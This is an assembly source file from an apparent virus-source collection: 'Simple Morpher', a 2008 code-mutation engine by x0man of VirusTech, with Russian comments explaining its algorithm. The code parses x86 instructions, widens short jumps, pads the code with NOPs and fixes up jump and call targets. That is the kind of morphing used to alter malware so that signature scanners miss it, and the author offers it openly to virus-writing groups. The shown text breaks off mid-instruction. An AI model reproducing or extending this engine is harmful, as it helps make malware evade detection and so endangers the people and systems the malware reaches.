MalwareSourceCode/Engines/Win32/Virus.Win32.Morpher.a.asm
2020-10-16 22:28:58 +02:00

510 lines
16 KiB
NASM
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Simple Morpher v.0.1 :
; :
; x0man © 2008 :
; :
; http://www.virustech.org/ :
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
;-----------------------------------------------------------------------------------------:
; :
;В Кратце расскажу алгоритм, который у меня реализован. :
; :
;Есть массив в который заносятся данные о инструкциях :
;Одним эллементом массива является: :
; :
;_OPCODE struct; :
; dwOldAddress dd ? ; Старый адрес инструкции (до морфинга) :
; dwNewAddress dd ? ; Новый адрес инструкции (после морфинга) :
; dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов) :
; ; (если инструкция им является) :
; dwLength dd ? ; в данном примере эта переменная не используется :
; ; Надеюсь вам она пригодиться больше чем мне :) :
;_OPCODE ends :
; :
;В "мой" Первый этап входит :
; 1. Парсинг кода, и выделение на каждую инструкцию одного :
; эллемента массива, заполняя данные в структуре _OPCODE. :
; 2. Расширение кода для будущих изменений (замена коротких прыжков на длинные) :
; 3. Если инструкция является прыжком или вызовом, нам нужно :
; подсчитать скажем так EIP при выполнении оной. :
; 4. И есстественно разбавление кода (инструкцией NOP) :
; :
;Второй этап :
; 1. Проходимся по массиву с описаниями инструкций :
; 2. Если инструкция является вызовом, то вычисляем параметр у прыжка :
; или вызова, и меняем его на корректный(уже в изменённом коде). :
; :
; :
;Вроде бы всё... для более точных описаний смотрим код! :
; :
;Дизассемблер длинн инструкций я взял Catchy_32, который можно скачать с :
; http://www.wasm.ru, он также прилагается к исходникам в приложении. :
; :
;GreeTz: :
; Osen :
; izee [ EOF-Project ] http://eof-project.net/ :
; :
; tPORt (http://www.tport.org/) :
; REVENGE(http://www.revenge-crew.com/) :
; TLG (http://tlg.astalavista.ms/) :
; TSRh (http://tsrh.org.ua/) :
; TPOC (http://vx.netlux.org/tpoc/) :
; :
; :
; Спасибо за внимание! :
; :
; 10.05.2008 :
; x0man [VirusTech] :
; http://www.virustech.org :
;-----------------------------------------------------------------------------------------:
.386
.model flat, stdcall
option casemap :none
include \MASM32\INCLUDE\windows.inc
include \MASM32\INCLUDE\kernel32.inc
include \MASM32\INCLUDE\user32.inc
includelib \MASM32\LIB\kernel32.lib
includelib \MASM32\LIB\user32.lib
; #########################################################################
_OPCODE struct
dwOldAddress dd ? ; Старый адрес инструкции (до морфинга)
dwNewAddress dd ? ; Новый адрес инструкции (после морфинга)
dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов)
; (если инструкция им является)
dwLength dd ? ; в данном примере эта переменная не используется
; Надеюсь вам она пригодиться больше чем мне :)
_OPCODE ends
; #########################################################################
.code
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Код для теста :)
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
test_code:
@@:
jmp @F
mov eax, edx
pop eax
push eax
call @F
cmp eax, 0
jne @B
jmp @B
add ecx, edx
add eax, edx
xchg edx, ecx
call @B
jne @F
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
jne @B
ret
@@:
ret
int 3
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::
; Подключим дизасм длинн инструкций
include Catchy32\Catchy32.inc
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; Функция для подсчёта числа, куда должен указывать прыжок|
; Пример: dwCurrentAddress - указывает на код |
; |
; 00000000: 74 30 JE imm8 |
; эта функция высчитывает "imm8" |
; в нашем примере imm8 = 00000000 + 30 + 2 = 00000032 |
; т.е. |
; 00000000 - Текущий адрес |
; 30 - Параметр |
; 2 - Длинна инструкции JE imm8 |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; 00000000: 74 30 JE 00000032 --. |
; 00000002: | |
; | |
; 00000032: <-----° |
; Это описание для "положительных" прыжков |
; Для отрицательных, попробуйте разобрать сами |
; там не сложно ;-) |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|
; IN dwCurrentAddress : текущий адрес предпологаемого прыжка |
; OUT EAX : Адрес куда прыжок указывает |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
get_jump_address proc dwCurrentAddress : DWORD
push ecx
push edi
mov edi, dwCurrentAddress
mov al, byte ptr [edi]
;:::::::::::::::::::::::::::::::::::::
; XX imm8
cmp al, 070h
jl @F
cmp al, 07Fh
jna @_jump_imm8_
@@:
;:::::::::::::::::::::::::::::::::::::
cmp al, 0EBh
je @_jump_uncond_imm8_
;:::::::::::::::::::::::::::::::::::::
; 0F XX imm32
cmp al, 00Fh
jne @F
mov ah, byte ptr [edi + 1]
cmp ah, 080h
jl @F
cmp ah, 08Fh
jna @_jump_imm32_
;:::::::::::::::::::::::::::::::::::::
@@:
;:::::::::::::::::::::::::::::::::::::
; JMP imm32
cmp al, 0E9h
je @_jump_uncond_imm32_
;:::::::::::::::::::::::::::::::::::::
; CALL
cmp al, 0E8h
je @_call_imm32_
;:::::::::::::::::::::::::::::::::::::
jmp @_exit_
;:::::::::::::::::::::::::::::::::::::
@_jump_imm8_:
@_jump_uncond_imm8_:
;:::::::::::::::::::::::::::::::::::::
; Короткие прыжки
movzx eax, byte ptr [edi + 1]
mov cl, al
test cl, 10000000b ; isNegative?
jnz @_neg_1
add edi, eax
add edi, 2
xchg eax, edi
jmp @_exit_
@_neg_1:
neg al
sub al, 2
sub edi, eax
xchg eax, edi
jmp @_exit_
@_jump_imm32_:
;:::::::::::::::::::::::::::::::::::::
; Длинные прыжки
mov eax, dword ptr [edi + 2]
mov ecx, eax
shr ecx, 24d
test ecx, 10000000b ; isNegative?
jnz @_neg_2
add eax, edi
add eax, 6
jmp @_exit_
@_neg_2:
neg eax
sub eax, 6
sub edi, eax
xchg eax, edi
jmp @_exit_
;:::::::::::::::::::::::::::::::::::::
@_jump_uncond_imm32_:
@_call_imm32_:
;:::::::::::::::::::::::::::::::::::::
; JMP imm32 & CALL imm32
mov eax, dword ptr [edi + 1]
mov ecx, eax
shr ecx, 24d
test ecx, 10000000b ; isNegative?
jnz @_neg_3
add edi, eax
add edi, 5
xchg eax, edi
jmp @_exit_
@_neg_3:
neg eax
sub eax, 5
sub edi, eax
xchg eax, edi
;///////////////////////////////////////
@_exit_:
pop edi
pop ecx
ret
get_jump_address endp
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; Функция для поиска в массиве описаний инструкций |
; Нового адреса для прыжка.... |
; |
; IN dwAddress - Адрес прыжка |
; IN pOpcodes - Указатель на массив с описаниями опкодов |
; OUT EAX - Новый адрес прыжка... |
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD
push ecx
assume ecx : ptr _OPCODE
mov ecx, pOpcodes
mov eax, dwAddress
@@:
cmp [ecx].dwOldAddress, eax
je @F
add ecx, sizeof _OPCODE
cmp [ecx].dwOldAddress, 0
jne @B
xor eax, eax
@@:
mov eax, [ecx].dwNewAddress
pop ecx
ret
get_new_jump_address endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; Функция разбавляет определённый код, инструкцией NOP |
; ВАЖНО! Код должен заканчиваться опкодом 0CCh |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; IN dwCodeAddress - Адрес кода для морфинга |
; IN dwOutputBuffer - Адрес куда будет занесён проморфленный код |
; OUT EAX - Размер проморфленного кода |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD
local pOpcodes : DWORD
local dwTotalCodeSize : DWORD
;::::::::::::::::::::::::::::::::::::::::::::::::::
; pOpcodes - Указатель на описания опкодов ::
; dwOutputBuffer - Проморфленный код ::
;::::::::::::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Зарезервируем памяти для массива с описаниям инструкций
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
mov pOpcodes, eax
;::::::::::::::::::::::::::::::::::::::::::::
; Обнулим переменную в которую будем заносить
; Общий размер кода
push 0
pop dwTotalCodeSize
;:::::::::::::::::::::::::::::::::::::::::
; Без комментариев
assume ecx : ptr _OPCODE
mov esi, dwCodeAddress ; Code Address
mov edi, dwOutputBuffer ; New Code Address
mov ecx, pOpcodes ; array of _OPCODES
;::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::
; Первый этап :::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Укажем для первой инструкции её новый адрес что в EDI
mov [ecx].dwNewAddress, edi
;::::::::::::::::::::::::::::::::::::
; Начинаем цикл
; Loop 1
@_loop_1:
;::::::::::::::::::::::::::::::::::::
; Узнаем длинну у инструкции
; IN ESI == Current Code Offset
; OUT EAX == Instruction Length
call c_Catchy
;:::::::::::::::::::::::::::::::::::::
; Занесём данные в массив с описаниями
mov [ecx].dwOldAddress, esi
mov [ecx].dwLength, eax
;::::::::::::::::::::::::::::::::::::
; Короткие условные прыжки меняем на длинные
; Они отличаются от длинных префиксом 00Fh
; в начале и +10h к текущему опкоду прыжка
; Пример:
; Было :00000000: 74 30
; 0F +10 30 00 00 00
; Стало:00000000: 0F 84 30 00 00 00
cmp byte ptr [esi], 070h
jl @F
cmp byte ptr [esi], 07Fh
ja @F
push eax
mov al, 00Fh
stosb
movzx eax, byte ptr [esi]
add eax, 10h
stosd
;:::::::::::::::::::::::::::::::::::::::
; Подсчитаем адрес куда указывает прыжок
push esi
call get_jump_address
;::::::::::::::::::::::::
; Занесём данные в массив
mov [ecx].dwJumpAddress, eax
pop eax
;::::::::::::::::::::::::::::::::::::
; Прибавим к общему размеру кода
; Длинну 00Fh XXh imm32, т.е. число 6
; где XX » [80h..8Fh]
add dwTotalCodeSize, 6
;::::::::::::::::::::::::::::::::::::
; Пропустим перенос маленького прыжка
; Переходим к следующей инструкции
jmp @_next_inst_
@@:
;::::::::::::::::::::::::::::::::::::
; Меняем...
; JMP imm8 -> JMP imm32
; Пример
; Было : 00000000: EB 33
; Стало: 00000000: E9 33 00 00 00
cmp byte ptr [esi], 0EBh
jne @F
push eax
mov al, 0E9h
stosb
xor eax, eax
stosd
;:::::::::::::::::::::::::::::::::::::::
; Подсчитаем адрес куда указывает прыжок
push esi
call get_jump_address
;::::::::::::::::::::::::
; Занесём данные в массив
mov [ecx].dwJumpAddress, eax
pop eax
;:::::::::::::::::::::::::::::::
; Прибавим к общему размеру кода
; Длинну E9 imm32, т.е. число 5
add dwTotalCodeSize, 5
jmp @_next_inst_
;::::::::::::::::::::::::::::::::::::
@@:
;::::::::::::::::::::::::::::::::::::
; Проверим на JMP imm32
cmp byte ptr [esi], 0E9h
jne @F
push eax
push esi
call get_jump_address
mov [ecx].dwJumpAddress, eax
pop eax
jmp @_replace_instr_
;::::::::::::::::::::::::::::::::::::
@@:
;::::::::::::::::::::::::::::::::::::
; Проверим на CALL
cmp byte ptr [esi], 0E8h
jne @F
push eax
push esi
call get_jump_address
mov [ecx].dwJumpAddress, eax
pop eax
jmp @_replace_instr_
;::::::::::::::::::::::::::::::::::::
@@:
;::::::::::::::::::::::::::::::::::::
; 00Fh XX imm32
cmp byte ptr [esi], 00Fh
jne @F
cmp byte ptr [esi + 1], 080h
jl @F
cmp byte ptr [esi + 1], 08Fh
ja @F
push eax
push esi
call get_jump_address
mov [ecx].dwJumpAddress, eax
pop eax
;::::::::::::::::::::::::::::::::::::
@@:
@_replace_instr_:
;::::::::::::::::::::::::::::::::::::::::::
; Переносим инструкцию в новый буффер.
; Этот код выполниться в том случае
; Если мы не меняли оригинальные инструкции
push esi
push ecx
mov ecx, eax
rep movsb
pop ecx
pop e